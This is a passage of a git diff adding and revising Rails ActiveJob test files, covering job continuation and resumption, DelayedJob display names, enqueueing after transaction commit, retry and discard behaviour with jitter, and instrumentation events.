+    objects = [ :hello, "world", 1, 1.2, nil, true, false, [ 1, 2, 3 ], { a: 1, b: 2, c: 3 } ]
+
+    ArrayCursorJob.perform_later(objects)
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal objects, ArrayCursorJob.items
+  end
+
+  test "interrupts and resumes array cursor" do
+    ArrayCursorJob.items = []
+
+    objects = [ :hello, "world", 1, 1.2, nil, true, false, [ 1, 2, 3 ], { a: 1, b: 2, c: 3 } ]
+
+    ArrayCursorJob.perform_later(objects)
+
+    assert_enqueued_jobs 1, only: ArrayCursorJob do
+      interrupt_job_during_step ArrayCursorJob, :iterate_objects, cursor: 3 do
+        perform_enqueued_jobs
+      end
+    end
+
+    assert_equal objects[0...3], ArrayCursorJob.items
+
+    assert_enqueued_jobs 0, only: ArrayCursorJob do
+      perform_enqueued_jobs
+    end
+
+    assert_equal objects, ArrayCursorJob.items
+  end
+
+  class LimitedResumesJob < ContinuableJob
+    self.max_resumptions = 2
+
+    def perform(iterations)
+      step :iterate, start: 0 do |step|
+        (step.cursor..iterations).each do |i|
+          step.advance!
+        end
+      end
+    end
+  end
+
+  test "limits resumes" do
+    LimitedResumesJob.perform_later(10)
+
+    interrupt_job_during_step LimitedResumesJob, :iterate, cursor: 1 do
+      assert_enqueued_jobs 1, only: LimitedResumesJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    interrupt_job_during_step LimitedResumesJob, :iterate, cursor: 2 do
+      assert_enqueued_jobs 1, only: LimitedResumesJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    interrupt_job_during_step LimitedResumesJob, :iterate, cursor: 3 do
+      assert_enqueued_jobs 0, only: LimitedResumesJob do
+        exception = assert_raises ActiveJob::Continuation::ResumeLimitError do
+          perform_enqueued_jobs
+        end
+
+        assert_equal "Job was resumed a maximum of 2 times", exception.message
+      end
+    end
+  end
+
+  test "limits resumes due to errors" do
+    LimitedResumesJob.perform_later(10)
+
+    queue_adapter.with(stopping: ->() { raise StandardError if during_step?(LimitedResumesJob, :iterate, cursor: 1) }) do
+      assert_enqueued_jobs 1, only: LimitedResumesJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    queue_adapter.with(stopping: ->() { raise StandardError if during_step?(LimitedResumesJob, :iterate, cursor: 2) }) do
+      assert_enqueued_jobs 1, only: LimitedResumesJob do
+        perform_enqueued_jobs
+      end
+    end
+
+    queue_adapter.with(stopping: ->() { raise StandardError if during_step?(LimitedResumesJob, :iterate, cursor: 3) }) do
+      assert_enqueued_jobs 0, only: LimitedResumesJob do
+        exception = assert_raises ActiveJob::Continuation::ResumeLimitError do
+          perform_enqueued_jobs
+        end
+
+        assert_equal "Job was resumed a maximum of 2 times", exception.message
+      end
+    end
+  end
+
+  test "does not resume after an error" do
+    LimitedResumesJob.with(resume_errors_after_advancing: false) do
+      LimitedResumesJob.perform_later(10)
+
+      queue_adapter.with(stopping: ->() { raise StandardError, "boom" if during_step?(LimitedResumesJob, :iterate, cursor: 5) }) do
+        assert_enqueued_jobs 0, only: LimitedResumesJob do
+          exception = assert_raises StandardError do
+            perform_enqueued_jobs
+          end
+
+          assert_equal "boom", exception.message
+        end
+      end
+    end
+  end
+
+  test "resume options" do
+    LimitedResumesJob.with(resume_options: { queue: :other, wait: 8 }) do
+      freeze_time
+
+      LimitedResumesJob.perform_later(10)
+
+      interrupt_job_during_step LimitedResumesJob, :iterate, cursor: 1 do
+        assert_enqueued_with job: LimitedResumesJob, queue: :other, at: Time.now + 8.seconds do
+          perform_enqueued_jobs
+        end
+      end
+    end
+  end
+
+  class IsolatedStepsJob < ContinuableJob
+    cattr_accessor :items, default: []
+
+    def perform(*isolated)
+      step :step_one, isolated: isolated.include?(:step_one) do |step|
+        items << "step_one"
+      end
+      step :step_two, isolated: isolated.include?(:step_two) do |step|
+        items << "step_two"
+      end
+      step :step_three, isolated: isolated.include?(:step_three) do |step|
+        items << "step_three"
+      end
+      step :step_four, isolated: isolated.include?(:step_four) do |step|
+        items << "step_four"
+      end
+    end
+  end
+
+  test "runs isolated step separately" do
+    IsolatedStepsJob.items = []
+    IsolatedStepsJob.perform_later(:step_three)
+
+    assert_enqueued_jobs 1, only: IsolatedStepsJob do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ "step_one", "step_two" ], IsolatedStepsJob.items
+
+    assert_enqueued_jobs 1 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ "step_one", "step_two", "step_three" ], IsolatedStepsJob.items
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ "step_one", "step_two", "step_three", "step_four" ], IsolatedStepsJob.items
+    assert_match(/Interrupted ActiveJob::TestContinuation::IsolatedStepsJob \(Job ID: [0-9a-f-]{36}\) after 'step_two' \(isolating\)/, @logger.messages)
+    assert_match(/Interrupted ActiveJob::TestContinuation::IsolatedStepsJob \(Job ID: [0-9a-f-]{36}\) after 'step_three' \(isolating\)/, @logger.messages)
+  end
+
+  test "runs initial and final isolated steps separately" do
+    IsolatedStepsJob.items = []
+    IsolatedStepsJob.perform_later(:step_one, :step_four)
+
+    assert_enqueued_jobs 1, only: IsolatedStepsJob do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ "step_one" ], IsolatedStepsJob.items
+
+    assert_enqueued_jobs 1 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ "step_one", "step_two", "step_three" ], IsolatedStepsJob.items
+
+    assert_enqueued_jobs 0 do
+      perform_enqueued_jobs
+    end
+
+    assert_equal [ "step_one", "step_two", "step_three", "step_four" ], IsolatedStepsJob.items
+  end
+
+  private
+    def capture_info_stdout(&block)
+      ActiveJob::Base.logger.with(level: :info) do
+        capture(:stdout, &block)
+      end
+    end
+end
diff --git a/activejob/test/cases/delayed_job_adapter_test.rb b/activejob/test/cases/delayed_job_adapter_test.rb
new file mode 100644
index 0000000000000..08738bff6a859
--- /dev/null
+++ b/activejob/test/cases/delayed_job_adapter_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/disable_log_job"
+require "jobs/hello_job"
+
+return unless adapter_is?(:delayed_job)
+
+class DelayedJobAdapterTest < ActiveSupport::TestCase
+  test "does not log arguments when log_arguments is set to false on a job" do
+    job_id = SecureRandom.uuid
+
+    job_wrapper = ActiveJob::QueueAdapters::DelayedJobAdapter::JobWrapper.new(
+      "job_class" => DisableLogJob.to_s,
+      "queue_name" => "default",
+      "job_id" => job_id,
+      "arguments" => { "some" => { "job" => "arguments" } }
+    )
+
+    assert_equal "DisableLogJob [#{job_id}] from DelayedJob(default)", job_wrapper.display_name
+  end
+
+  test "logs arguments when log_arguments is set to true on a job" do
+    job_id = SecureRandom.uuid
+    arguments = { "some" => { "job" => "arguments" } }
+
+    job_wrapper = ActiveJob::QueueAdapters::DelayedJobAdapter::JobWrapper.new(
+      "job_class" => HelloJob.to_s,
+      "queue_name" => "default",
+      "job_id" => job_id,
+      "arguments" => arguments
+    )
+
+    assert_equal "HelloJob [#{job_id}] from DelayedJob(default) with arguments: #{arguments}",
+                 job_wrapper.display_name
+  end
+
+  test "shows name for invalid job class" do
+    job_id = SecureRandom.uuid
+
+    job_wrapper = ActiveJob::QueueAdapters::DelayedJobAdapter::JobWrapper.new(
+      "job_class" => "NotExistingJob",
+      "queue_name" => "default",
+      "job_id" => job_id,
+      "arguments" => { "some" => { "job" => "arguments" } }
+    )
+
+    assert_equal "NotExistingJob [#{job_id}] from DelayedJob(default)", job_wrapper.display_name
+  end
+end
diff --git a/activejob/test/cases/enqueue_after_transaction_commit_test.rb b/activejob/test/cases/enqueue_after_transaction_commit_test.rb
new file mode 100644
index 0000000000000..a748142dba1b7
--- /dev/null
+++ b/activejob/test/cases/enqueue_after_transaction_commit_test.rb
@@ -0,0 +1,160 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/enqueue_error_job"
+
+class EnqueueAfterTransactionCommitTest < ActiveSupport::TestCase
+  class FakeActiveRecord
+    attr_reader :calls
+
+    def initialize(should_yield = true)
+      @calls = 0
+      @yield = should_yield
+      @callbacks = []
+    end
+
+    def after_all_transactions_commit(&block)
+      @calls += 1
+      if @yield
+        yield
+      else
+        @callbacks << block
+      end
+    end
+
+    def run_after_commit_callbacks
+      callbacks, @callbacks = @callbacks, []
+      callbacks.each(&:call)
+    end
+  end
+
+  class ImmediateJob < ActiveJob::Base
+    self.enqueue_after_transaction_commit = false
+
+    def perform
+      # noop
+    end
+  end
+
+  class EnqueueAfterCommitJob < ActiveJob::Base
+    self.enqueue_after_transaction_commit = true
+
+    def perform
+      # noop
+    end
+  end
+
+  class ErrorEnqueueAfterCommitJob < EnqueueErrorJob
+    class EnqueueErrorAdapter
+      def enqueue(...)
+        raise ActiveJob::EnqueueError, "There was an error enqueuing the job"
+      end
+
+      def enqueue_at(...)
+        raise ActiveJob::EnqueueError, "There was an error enqueuing the job"
+      end
+    end
+
+    self.queue_adapter = EnqueueErrorAdapter.new
+    self.enqueue_after_transaction_commit = true
+
+    def perform
+      # noop
+    end
+  end
+
+  class EnqueueAfterCommitCallbackJob < ActiveJob::Base
+    self.enqueue_after_transaction_commit = true
+
+    attr_reader :around_enqueue_called
+
+    around_enqueue do |job, block|
+      job.instance_variable_set(:@around_enqueue_called, true)
+      block.call
+    end
+
+    def perform
+      # noop
+    end
+  end
+
+  test "#perform_later wait for transactions to complete before enqueuing the job" do
+    fake_active_record = FakeActiveRecord.new
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      assert_difference -> { fake_active_record.calls }, +1 do
+        EnqueueAfterCommitJob.perform_later
+      end
+    end
+  end
+
+  test "#perform_later returns the Job instance even if it's delayed by `after_all_transactions_commit`" do
+    fake_active_record = FakeActiveRecord.new(false)
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      job = EnqueueAfterCommitJob.perform_later
+      assert_instance_of EnqueueAfterCommitJob, job
+      assert_predicate job, :successfully_enqueued?
+    end
+  end
+
+  test "#perform_later yields the enqueued Job instance even if it's delayed by `after_all_transactions_commit`" do
+    fake_active_record = FakeActiveRecord.new(false)
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      called = false
+      job = EnqueueAfterCommitJob.perform_later do |yielded_job|
+        called = true
+        assert_instance_of EnqueueAfterCommitJob, yielded_job
+      end
+      assert called, "#perform_later yielded the job"
+      assert_instance_of EnqueueAfterCommitJob, job
+      assert_predicate job, :successfully_enqueued?
+    end
+  end
+
+  test "#perform_later assumes successful enqueue, but update status later" do
+    fake_active_record = FakeActiveRecord.new(false)
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      job = ErrorEnqueueAfterCommitJob.perform_later
+      assert_instance_of ErrorEnqueueAfterCommitJob, job
+      assert_predicate job, :successfully_enqueued?
+
+      fake_active_record.run_after_commit_callbacks
+      assert_not_predicate job, :successfully_enqueued?
+    end
+  end
+
+  test "#perform_later defers enqueue callbacks until after commit" do
+    fake_active_record = FakeActiveRecord.new(false)
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      job = EnqueueAfterCommitCallbackJob.perform_later
+      assert_not_predicate job, :around_enqueue_called
+      fake_active_record.run_after_commit_callbacks
+      assert_predicate job, :around_enqueue_called
+    end
+  end
+
+  test "ActiveJob.perform_all_later waits for transactions to complete before enqueuing jobs with `enqueue_after_transaction_commit`" do
+    fake_active_record = FakeActiveRecord.new
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      assert_difference -> { fake_active_record.calls }, +1 do
+        ActiveJob.perform_all_later(EnqueueAfterCommitJob.new, EnqueueAfterCommitJob.new)
+      end
+    end
+  end
+
+  test "ActiveJob.perform_all_later handles mixed jobs with and without `enqueue_after_transaction_commit`" do
+    fake_active_record = FakeActiveRecord.new(false)
+    stub_const(Object, :ActiveRecord, fake_active_record, exists: false) do
+      # Mix of jobs with and without enqueue_after_transaction_commit
+      immediate_job = ImmediateJob.new
+      deferred_job = EnqueueAfterCommitJob.new
+
+      assert_notification("enqueue_all.active_job", jobs: [immediate_job], enqueued_count: 1) do
+        ActiveJob.perform_all_later([immediate_job, deferred_job])
+      end
+
+      assert_notification("enqueue_all.active_job", jobs: [deferred_job], enqueued_count: 1) do
+        fake_active_record.run_after_commit_callbacks
+      end
+    end
+  end
+end
diff --git a/activejob/test/cases/exceptions_test.rb b/activejob/test/cases/exceptions_test.rb
index dbe55f7430e76..7e611795778cf 100644
--- a/activejob/test/cases/exceptions_test.rb
+++ b/activejob/test/cases/exceptions_test.rb
@@ -1,14 +1,29 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/retry_job"
+require "jobs/retries_job"
+require "jobs/after_discard_retry_job"
+require "models/person"
+require "minitest/mock"
 
-class ExceptionsTest < ActiveJob::TestCase
-  setup do
-    JobBuffer.clear
-    skip if ActiveJob::Base.queue_adapter.is_a?(ActiveJob::QueueAdapters::InlineAdapter)
+class ExceptionsTest < ActiveSupport::TestCase
+  class << self
+    def adapter_skips_scheduling?(queue_adapter)
+      [
+        ActiveJob::QueueAdapters::InlineAdapter,
+        ActiveJob::QueueAdapters::AsyncAdapter,
+        ActiveJob::QueueAdapters::SneakersAdapter
+      ].include?(queue_adapter.class)
+    end
   end
 
-  test "successfully retry job throwing exception against defaults" do
-    perform_enqueued_jobs do
+  unless adapter_skips_scheduling?(ActiveJob::Base.queue_adapter)
+    setup do
+      JobBuffer.clear
+    end
+
+    test "successfully retry job throwing exception against defaults" do
       RetryJob.perform_later "DefaultsError", 5
 
       assert_equal [
@@ -18,90 +33,371 @@ class ExceptionsTest < ActiveJob::TestCase
         "Raised DefaultsError for the 4th time",
         "Successfully completed job" ], JobBuffer.values
     end
-  end
 
-  test "successfully retry job throwing exception against higher limit" do
-    perform_enqueued_jobs do
+    test "successfully retry job throwing exception against higher limit" do
       RetryJob.perform_later "ShortWaitTenAttemptsError", 9
       assert_equal 9, JobBuffer.values.count
     end
-  end
 
-  test "failed retry job when exception kept occurring against defaults" do
-    perform_enqueued_jobs do
-      begin
-        RetryJob.perform_later "DefaultsError", 6
-        assert_equal "Raised DefaultsError for the 5th time", JobBuffer.last_value
-      rescue DefaultsError
-        pass
+    test "keeps the same attempts counter for several exceptions listed in the same retry_on declaration" do
+      exceptions_to_raise = %w(FirstRetryableErrorOfTwo FirstRetryableErrorOfTwo FirstRetryableErrorOfTwo
+                               SecondRetryableErrorOfTwo SecondRetryableErrorOfTwo)
+
+      assert_raises SecondRetryableErrorOfTwo do
+        RetryJob.perform_later(exceptions_to_raise, 5)
       end
+
+      assert_equal [
+        "Raised FirstRetryableErrorOfTwo for the 1st time",
+        "Raised FirstRetryableErrorOfTwo for the 2nd time",
+        "Raised FirstRetryableErrorOfTwo for the 3rd time",
+        "Raised SecondRetryableErrorOfTwo for the 4th time"
+      ], JobBuffer.values
     end
-  end
 
-  test "failed retry job when exception kept occurring against higher limit" do
-    perform_enqueued_jobs do
-      begin
-        RetryJob.perform_later "ShortWaitTenAttemptsError", 11
-        assert_equal "Raised ShortWaitTenAttemptsError for the 10th time", JobBuffer.last_value
-      rescue ShortWaitTenAttemptsError
-        pass
+    test "keeps a separate attempts counter for each individual retry_on declaration" do
+      exceptions_to_raise = %w(DefaultsError DefaultsError DefaultsError DefaultsError
+                               FirstRetryableErrorOfTwo FirstRetryableErrorOfTwo FirstRetryableErrorOfTwo)
+
+      assert_nothing_raised do
+        RetryJob.perform_later(exceptions_to_raise, 10)
+
+        assert_equal [
+          "Raised DefaultsError for the 1st time",
+          "Raised DefaultsError for the 2nd time",
+          "Raised DefaultsError for the 3rd time",
+          "Raised DefaultsError for the 4th time",
+          "Raised FirstRetryableErrorOfTwo for the 5th time",
+          "Raised FirstRetryableErrorOfTwo for the 6th time",
+          "Raised FirstRetryableErrorOfTwo for the 7th time",
+          "Successfully completed job"
+        ], JobBuffer.values
       end
     end
-  end
 
-  test "discard job" do
-    perform_enqueued_jobs do
+    test "failed retry job when exception kept occurring against defaults" do
+      RetryJob.perform_later "DefaultsError", 6
+      assert_equal "Raised DefaultsError for the 5th time", JobBuffer.last_value
+    rescue DefaultsError
+      pass
+    end
+
+    test "failed retry job when exception kept occurring against higher limit" do
+      RetryJob.perform_later "ShortWaitTenAttemptsError", 11
+      assert_equal "Raised ShortWaitTenAttemptsError for the 10th time", JobBuffer.last_value
+    rescue ShortWaitTenAttemptsError
+      pass
+    end
+
+    test "discard job" do
       RetryJob.perform_later "DiscardableError", 2
       assert_equal "Raised DiscardableError for the 1st time", JobBuffer.last_value
     end
-  end
 
-  test "custom handling of job that exceeds retry attempts" do
-    perform_enqueued_jobs do
+    test "custom handling of discarded job" do
+      RetryJob.perform_later "CustomDiscardableError", 2
+      assert_equal "Dealt with a job that was discarded in a custom way. Message: CustomDiscardableError", JobBuffer.last_value
+    end
+
+    test "custom handling of job that exceeds retry attempts" do
       RetryJob.perform_later "CustomCatchError", 6
-      assert_equal "Dealt with a job that failed to retry in a custom way after 6 attempts", JobBuffer.last_value
+      assert_equal "Dealt with a job that failed to retry in a custom way after 6 attempts. Message: CustomCatchError", JobBuffer.last_value
     end
-  end
 
-  test "long wait job" do
-    travel_to Time.now
+    test "long wait job" do
+      travel_to Time.now
+      random_amount = 1
+      delay_for_jitter = random_amount * 3600 * ActiveJob::Base.retry_jitter
 
-    perform_enqueued_jobs do
-      assert_performed_with at: (Time.now + 3600.seconds).to_i do
-        RetryJob.perform_later "LongWaitError", 5
+      Kernel.stub(:rand, random_amount) do
+        RetryJob.perform_later "LongWaitError", 2, :log_scheduled_at
+        assert_equal [
+          "Raised LongWaitError for the 1st time",
+          "Next execution scheduled at #{(Time.now + 3600.seconds + delay_for_jitter).to_f}",
+          "Successfully completed job"
+        ], JobBuffer.values
       end
     end
-  end
 
-  test "exponentially retrying job" do
-    travel_to Time.now
-
-    perform_enqueued_jobs do
-      assert_performed_with at: (Time.now + 3.seconds).to_i do
-        assert_performed_with at: (Time.now + 18.seconds).to_i do
-          assert_performed_with at: (Time.now + 83.seconds).to_i do
-            assert_performed_with at: (Time.now + 258.seconds).to_i do
-              RetryJob.perform_later "ExponentialWaitTenAttemptsError", 5
-            end
-          end
-        end
+    test "polynomially retrying job includes jitter" do
+      travel_to Time.now
+
+      random_amount = 2
+      delay_for_jitter = -> (delay) { random_amount * delay * ActiveJob::Base.retry_jitter }
+
+      Kernel.stub(:rand, random_amount) do
+        RetryJob.perform_later "PolynomialWaitTenAttemptsError", 5, :log_scheduled_at
+
+        assert_equal [
+          "Raised PolynomialWaitTenAttemptsError for the 1st time",
+          "Next execution scheduled at #{(Time.now + 3.seconds + delay_for_jitter.(1)).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 2nd time",
+          "Next execution scheduled at #{(Time.now + 18.seconds + delay_for_jitter.(16)).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 3rd time",
+          "Next execution scheduled at #{(Time.now + 83.seconds + delay_for_jitter.(81)).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 4th time",
+          "Next execution scheduled at #{(Time.now + 258.seconds + delay_for_jitter.(256)).to_f}",
+          "Successfully completed job"
+        ], JobBuffer.values
       end
     end
-  end
 
-  test "custom wait retrying job" do
-    travel_to Time.now
-
-    perform_enqueued_jobs do
-      assert_performed_with at: (Time.now + 2.seconds).to_i do
-        assert_performed_with at: (Time.now + 4.seconds).to_i do
-          assert_performed_with at: (Time.now + 6.seconds).to_i do
-            assert_performed_with at: (Time.now + 8.seconds).to_i do
-              RetryJob.perform_later "CustomWaitTenAttemptsError", 5
-            end
-          end
-        end
+    test "retry jitter uses value from ActiveJob::Base.retry_jitter by default" do
+      old_jitter = ActiveJob::Base.retry_jitter
+      ActiveJob::Base.retry_jitter = 4.0
+
+      travel_to Time.now
+
+      random_amount = 1
+
+      Kernel.stub(:rand, random_amount) do
+        RetryJob.perform_later "PolynomialWaitTenAttemptsError", 5, :log_scheduled_at
+
+        assert_equal [
+          "Raised PolynomialWaitTenAttemptsError for the 1st time",
+          "Next execution scheduled at #{(Time.now + 7.seconds).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 2nd time",
+          "Next execution scheduled at #{(Time.now + 82.seconds).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 3rd time",
+          "Next execution scheduled at #{(Time.now + 407.seconds).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 4th time",
+          "Next execution scheduled at #{(Time.now + 1282.seconds).to_f}",
+          "Successfully completed job"
+        ], JobBuffer.values
       end
+    ensure
+      ActiveJob::Base.retry_jitter = old_jitter
+    end
+
+    test "random wait time for default job when retry jitter delay multiplier value is between 1 and 2" do
+      old_jitter = ActiveJob::Base.retry_jitter
+      ActiveJob::Base.retry_jitter = 0.6
+
+      travel_to Time.now
+
+      RetryJob.perform_later "DefaultsError", 2, :log_scheduled_at
+
+      assert_not_equal [
+        "Raised DefaultsError for the 1st time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Successfully completed job"
+      ], JobBuffer.values
+    ensure
+      ActiveJob::Base.retry_jitter = old_jitter
+    end
+
+    test "random wait time for polynomially retrying job when retry jitter delay multiplier value is between 1 and 2" do
+      old_jitter = ActiveJob::Base.retry_jitter
+      ActiveJob::Base.retry_jitter = 1.2
+
+      travel_to Time.now
+
+      RetryJob.perform_later "PolynomialWaitTenAttemptsError", 2, :log_scheduled_at
+
+      assert_not_equal [
+        "Raised PolynomialWaitTenAttemptsError for the 1st time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Successfully completed job"
+      ], JobBuffer.values
+    ensure
+      ActiveJob::Base.retry_jitter = old_jitter
+    end
+
+    test "random wait time for negative jitter value" do
+      old_jitter = ActiveJob::Base.retry_jitter
+      ActiveJob::Base.retry_jitter = -1.2
+
+      travel_to Time.now
+
+      RetryJob.perform_later "PolynomialWaitTenAttemptsError", 2, :log_scheduled_at
+
+      assert_not_equal [
+        "Raised PolynomialWaitTenAttemptsError for the 1st time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Successfully completed job"
+      ], JobBuffer.values
+    ensure
+      ActiveJob::Base.retry_jitter = old_jitter
+    end
+
+    test "retry jitter disabled with nil" do
+      travel_to Time.now
+
+      RetryJob.perform_later "DisabledJitterError", 3, :log_scheduled_at
+
+      assert_equal [
+        "Raised DisabledJitterError for the 1st time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Raised DisabledJitterError for the 2nd time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Successfully completed job"
+      ], JobBuffer.values
+    end
+
+    test "retry jitter disabled with zero" do
+      travel_to Time.now
+
+      RetryJob.perform_later "ZeroJitterError", 3, :log_scheduled_at
+
+      assert_equal [
+        "Raised ZeroJitterError for the 1st time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Raised ZeroJitterError for the 2nd time",
+        "Next execution scheduled at #{(Time.now + 3.seconds).to_f}",
+        "Successfully completed job"
+      ], JobBuffer.values
+    end
+
+    test "custom wait retrying job" do
+      travel_to Time.now
+
+      RetryJob.perform_later "CustomWaitTenAttemptsError", 5, :log_scheduled_at
+
+      assert_equal [
+        "Raised CustomWaitTenAttemptsError for the 1st time",
+        "Next execution scheduled at #{(Time.now + 2.seconds).to_f}",
+        "Raised CustomWaitTenAttemptsError for the 2nd time",
+        "Next execution scheduled at #{(Time.now + 4.seconds).to_f}",
+        "Raised CustomWaitTenAttemptsError for the 3rd time",
+        "Next execution scheduled at #{(Time.now + 6.seconds).to_f}",
+        "Raised CustomWaitTenAttemptsError for the 4th time",
+        "Next execution scheduled at #{(Time.now + 8.seconds).to_f}",
+        "Successfully completed job"
+      ], JobBuffer.values
+    end
+
+    test "use individual execution timers when calculating retry delay" do
+      travel_to Time.now
+
+      exceptions_to_raise = %w(PolynomialWaitTenAttemptsError CustomWaitTenAttemptsError PolynomialWaitTenAttemptsError CustomWaitTenAttemptsError)
+
+      random_amount = 1
+
+      Kernel.stub(:rand, random_amount) do
+        RetryJob.perform_later exceptions_to_raise, 5, :log_scheduled_at
+
+        delay_for_jitter = -> (delay) { random_amount * delay * ActiveJob::Base.retry_jitter }
+
+        assert_equal [
+          "Raised PolynomialWaitTenAttemptsError for the 1st time",
+          "Next execution scheduled at #{(Time.now + 3.seconds + delay_for_jitter.(1)).to_f}",
+          "Raised CustomWaitTenAttemptsError for the 2nd time",
+          "Next execution scheduled at #{(Time.now + 2.seconds).to_f}",
+          "Raised PolynomialWaitTenAttemptsError for the 3rd time",
+          "Next execution scheduled at #{(Time.now + 18.seconds + delay_for_jitter.(16)).to_f}",
+          "Raised CustomWaitTenAttemptsError for the 4th time",
+          "Next execution scheduled at #{(Time.now + 4.seconds).to_f}",
+          "Successfully completed job"
+        ], JobBuffer.values
+      end
+    end
+
+    test "successfully retry job throwing one of two retryable exceptions" do
+      RetryJob.perform_later "SecondRetryableErrorOfTwo", 3
+
+      assert_equal [
+        "Raised SecondRetryableErrorOfTwo for the 1st time",
+        "Raised SecondRetryableErrorOfTwo for the 2nd time",
+        "Successfully completed job" ], JobBuffer.values
+    end
+
+    test "discard job throwing one of two discardable exceptions" do
+      RetryJob.perform_later "SecondDiscardableErrorOfTwo", 2
+      assert_equal [ "Raised SecondDiscardableErrorOfTwo for the 1st time" ], JobBuffer.values
+    end
+
+    test "successfully retry job throwing DeserializationError" do
+      RetryJob.perform_later Person.new(404), 5
+      assert_equal ["Raised ActiveJob::DeserializationError for the 5 time"], JobBuffer.values
+    end
+
+    test "successfully retry job throwing UnlimitedRetryError a few times" do
+      RetryJob.perform_later "UnlimitedRetryError", 10
+
+      assert_equal 10, JobBuffer.values.size
+      assert_equal "Raised UnlimitedRetryError for the 9th time", JobBuffer.values[8]
+      assert_equal "Successfully completed job", JobBuffer.values[9]
+    end
+
+    test "running a job enqueued by AJ 5.2" do
+      job = RetryJob.new("DefaultsError", 6)
+      job.exception_executions = nil # This is how jobs from Rails 5.2 will look
+
+      assert_raises DefaultsError do
+        job.enqueue
+      end
+
+      assert_equal 5, JobBuffer.values.count
+    end
+
+    test "running a job enqueued and attempted under AJ 5.2" do
+      job = RetryJob.new("DefaultsError", 6)
+
+      # Fake 4 previous executions under AJ 5.2
+      job.exception_executions = nil
+      job.executions = 4
+
+      assert_raises DefaultsError do
+        job.enqueue
+      end
+
+      assert_equal ["Raised DefaultsError for the 5th time"], JobBuffer.values
+    end
+
+    test "retrying a job when before_enqueue raised uses the same job object" do
+      job = RetriesJob.new
+      assert_nothing_raised do
+        job.enqueue
+      end
+    end
+
+    test "retrying a job reports error when report: true" do
+      assert_error_reported(ReportedError) do
+        RetryJob.perform_later("ReportedError", 2)
+      end
+    end
+
+    test "discarding a job reports error when report: true" do
+      assert_error_reported(AfterDiscardRetryJob::ReportedError) do
+        AfterDiscardRetryJob.perform_later("AfterDiscardRetryJob::ReportedError", 2)
+      end
+    end
+
+    test "#after_discard block is run when an unhandled error is raised" do
+      assert_raises(AfterDiscardRetryJob::UnhandledError) do
+        AfterDiscardRetryJob.perform_later("AfterDiscardRetryJob::UnhandledError", 2)
+      end
+
+      assert_equal "Ran after_discard for job. Message: AfterDiscardRetryJob::UnhandledError", JobBuffer.last_value
+    end
+
+    test "#after_discard block is run when #retry_on is passed a block" do
+      AfterDiscardRetryJob.perform_later("AfterDiscardRetryJob::CustomCatchError", 6)
+
+      assert_equal "Ran after_discard for job. Message: AfterDiscardRetryJob::CustomCatchError", JobBuffer.last_value
+    end
+
+    test "#after_discard block is only run once when an error class and its superclass are handled by separate #retry_on calls" do
+      assert_raises(AfterDiscardRetryJob::ChildAfterDiscardError) do
+        AfterDiscardRetryJob.perform_later("AfterDiscardRetryJob::ChildAfterDiscardError", 6)
+      end
+      assert_equal ["Raised AfterDiscardRetryJob::ChildAfterDiscardError for the 5th time", "Ran after_discard for job. Message: AfterDiscardRetryJob::ChildAfterDiscardError"], JobBuffer.values.last(2)
+    end
+
+    test "#after_discard is run when a job is discarded via #discard_on" do
+      AfterDiscardRetryJob.perform_later("AfterDiscardRetryJob::DiscardableError", 2)
+
+      assert_equal "Ran after_discard for job. Message: AfterDiscardRetryJob::DiscardableError", JobBuffer.last_value
+    end
+
+    test "#after_discard is run when a job is discarded via #discard_on with a block passed to #discard_on" do
+      AfterDiscardRetryJob.perform_later("AfterDiscardRetryJob::CustomDiscardableError", 2)
+
+      expected_array = [
+        "Dealt with a job that was discarded in a custom way. Message: AfterDiscardRetryJob::CustomDiscardableError",
+        "Ran after_discard for job. Message: AfterDiscardRetryJob::CustomDiscardableError"
+      ]
+      assert_equal expected_array, JobBuffer.values.last(2)
     end
   end
 end
diff --git a/activejob/test/cases/instrumentation_test.rb b/activejob/test/cases/instrumentation_test.rb
new file mode 100644
index 0000000000000..1e4e60dd209bf
--- /dev/null
+++ b/activejob/test/cases/instrumentation_test.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require "helper"
+require "jobs/hello_job"
+require "jobs/retry_job"
+
+class InstrumentationTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+
+  setup do
+    JobBuffer.clear
+  end
+
+  test "perform_now emits perform events" do
+    events = capture_notifications(/perform.*\.active_job/) { HelloJob.perform_now("World!") }
+
+    assert_equal 2, events.size
+    assert_equal "perform_start.active_job", events[0].name
+    assert_equal "perform.active_job", events[1].name
+  end
+
+  test "perform_later emits an enqueue event" do
+    assert_notifications_count("enqueue.active_job", 1) { HelloJob.perform_later("World!") }
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    test "retry emits an enqueue retry event" do
